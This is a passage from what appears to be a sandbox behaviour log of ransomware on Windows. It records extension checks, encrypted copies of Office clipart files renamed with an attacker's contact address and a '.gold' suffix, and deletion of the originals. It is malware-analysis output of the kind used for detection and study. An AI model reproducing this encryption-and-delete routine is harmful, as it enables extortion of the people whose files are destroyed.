[0104.287] lstrlenW (lpString=".zip") returned 4 [0104.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.287] lstrlenW (lpString=".rar") returned 4 [0104.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.287] lstrlenW (lpString=".bz2") returned 4 [0104.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.287] lstrlenW (lpString=".7z") returned 3 [0104.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.287] lstrlenW (lpString=".dbf") returned 4 [0104.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.287] lstrlenW (lpString=".1cd") returned 4 [0104.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0104.287] lstrlenW (lpString=".jpg") returned 4 [0104.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.287] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.287] lstrlenW (lpString="J0103812.WMF") returned 12 [0104.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.563] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5908) returned 1 [0104.563] CloseHandle (hObject=0x3b4) returned 1 [0104.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0104.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0104.569] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.569] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0104.570] GetLastError () returned 0x0 [0104.570] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1714, lpOverlapped=0x0) returned 1 [0104.578] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0104.579] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.579] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.579] SetEndOfFile (hFile=0x3ac) returned 1 [0104.579] CloseHandle (hObject=0x3ac) returned 1 [0104.579] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.579] SetEndOfFile (hFile=0x3a0) returned 1 [0104.581] CloseHandle (hObject=0x3a0) returned 1 [0104.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString=".doc") returned 4 [0104.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString=".docx") returned 5 [0104.582] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.582] lstrlenW (lpString=".pdf") returned 4 [0104.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString=".xls") returned 4 [0104.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.582] lstrlenW (lpString=".xlsx") returned 5 [0104.582] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.582] lstrlenW (lpString=".ppt") returned 4 [0104.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString=".zip") returned 4 [0104.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.582] lstrlenW (lpString=".rar") returned 4 [0104.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString=".bz2") returned 4 [0104.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString=".7z") returned 3 [0104.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString=".dbf") returned 4 [0104.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString=".1cd") returned 4 [0104.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString=".jpg") returned 4 [0104.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.582] lstrlenW (lpString=".doc") returned 4 [0104.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.582] lstrlenW (lpString=".docx") returned 5 [0104.582] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.582] lstrlenW (lpString=".pdf") returned 4 [0104.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.583] lstrlenW (lpString=".xls") returned 4 [0104.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.583] lstrlenW (lpString=".xlsx") returned 5 [0104.583] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.583] lstrlenW (lpString=".ppt") returned 4 [0104.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.583] lstrlenW (lpString=".zip") returned 4 [0104.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.583] lstrlenW (lpString=".rar") returned 4 [0104.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.583] lstrlenW (lpString=".bz2") returned 4 [0104.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.583] lstrlenW (lpString=".7z") returned 3 [0104.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.583] lstrlenW (lpString=".dbf") returned 4 [0104.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.583] lstrlenW (lpString=".1cd") returned 4 [0104.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0104.583] lstrlenW (lpString=".jpg") returned 4 [0104.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.583] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.583] lstrlenW (lpString="J0105234.WMF") returned 12 [0104.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.590] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3444) returned 1 [0104.590] CloseHandle (hObject=0x3a8) returned 1 [0104.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 0x20 [0104.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.591] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.591] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0104.592] GetLastError () returned 0x0 [0104.592] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xd74, lpOverlapped=0x0) returned 1 [0104.593] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xd80, lpOverlapped=0x0) returned 1 [0104.594] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.594] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.594] SetEndOfFile (hFile=0x3c8) returned 1 [0104.594] CloseHandle (hObject=0x3c8) returned 1 [0104.594] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.594] SetEndOfFile (hFile=0x3a8) returned 1 [0104.595] CloseHandle (hObject=0x3a8) returned 1 [0104.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0104.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.596] lstrlenW (lpString=".doc") returned 4 [0104.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.596] lstrlenW (lpString=".docx") returned 5 [0104.596] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.596] lstrlenW (lpString=".pdf") returned 4 [0104.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString=".xls") returned 4 [0104.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.597] lstrlenW (lpString=".xlsx") returned 5 [0104.597] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.597] lstrlenW (lpString=".ppt") returned 4 [0104.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".zip") returned 4 [0104.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.597] lstrlenW (lpString=".rar") returned 4 [0104.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString=".bz2") returned 4 [0104.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString=".7z") returned 3 [0104.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".dbf") returned 4 [0104.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".1cd") returned 4 [0104.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".jpg") returned 4 [0104.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".doc") returned 4 [0104.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString=".docx") returned 5 [0104.597] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.597] lstrlenW (lpString=".pdf") returned 4 [0104.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString=".xls") returned 4 [0104.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.597] lstrlenW (lpString=".xlsx") returned 5 [0104.597] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.597] lstrlenW (lpString=".ppt") returned 4 [0104.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".zip") returned 4 [0104.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.597] lstrlenW (lpString=".rar") returned 4 [0104.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString=".bz2") returned 4 [0104.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString=".7z") returned 3 [0104.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".dbf") returned 4 [0104.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.597] lstrlenW (lpString=".1cd") returned 4 [0104.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0104.598] lstrlenW (lpString=".jpg") returned 4 [0104.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.598] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.598] lstrlenW (lpString="J0105238.WMF") returned 12 [0104.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.598] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17172) returned 1 [0104.598] CloseHandle (hObject=0x3a8) returned 1 [0104.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20 [0104.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0104.599] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.599] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0104.599] GetLastError () returned 0x0 [0104.599] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4314, lpOverlapped=0x0) returned 1 [0104.601] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4320, lpOverlapped=0x0) returned 1 [0104.601] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.601] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.602] SetEndOfFile (hFile=0x3c8) returned 1 [0104.602] CloseHandle (hObject=0x3c8) returned 1 [0104.602] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.602] SetEndOfFile (hFile=0x3a8) returned 1 [0104.603] CloseHandle (hObject=0x3a8) returned 1 [0104.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0104.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.604] lstrlenW (lpString=".doc") returned 4 [0104.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.604] lstrlenW (lpString=".docx") returned 5 [0104.604] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0104.604] lstrlenW (lpString=".pdf") returned 4 [0104.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString=".xls") returned 4 [0104.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.605] lstrlenW (lpString=".xlsx") returned 5 [0104.605] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0104.605] lstrlenW (lpString=".ppt") returned 4 [0104.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".zip") returned 4 [0104.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.605] lstrlenW (lpString=".rar") returned 4 [0104.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString=".bz2") returned 4 [0104.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString=".7z") returned 3 [0104.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".dbf") returned 4 [0104.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".1cd") returned 4 [0104.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".jpg") returned 4 [0104.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".doc") returned 4 [0104.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString=".docx") returned 5 [0104.605] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0104.605] lstrlenW (lpString=".pdf") returned 4 [0104.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString=".xls") returned 4 [0104.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.605] lstrlenW (lpString=".xlsx") returned 5 [0104.605] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0104.605] lstrlenW (lpString=".ppt") returned 4 [0104.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".zip") returned 4 [0104.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.605] lstrlenW (lpString=".rar") returned 4 [0104.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString=".bz2") returned 4 [0104.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.605] lstrlenW (lpString=".7z") returned 3 [0104.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0104.605] lstrlenW (lpString=".dbf") returned 4 [0104.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.605] lstrlenW 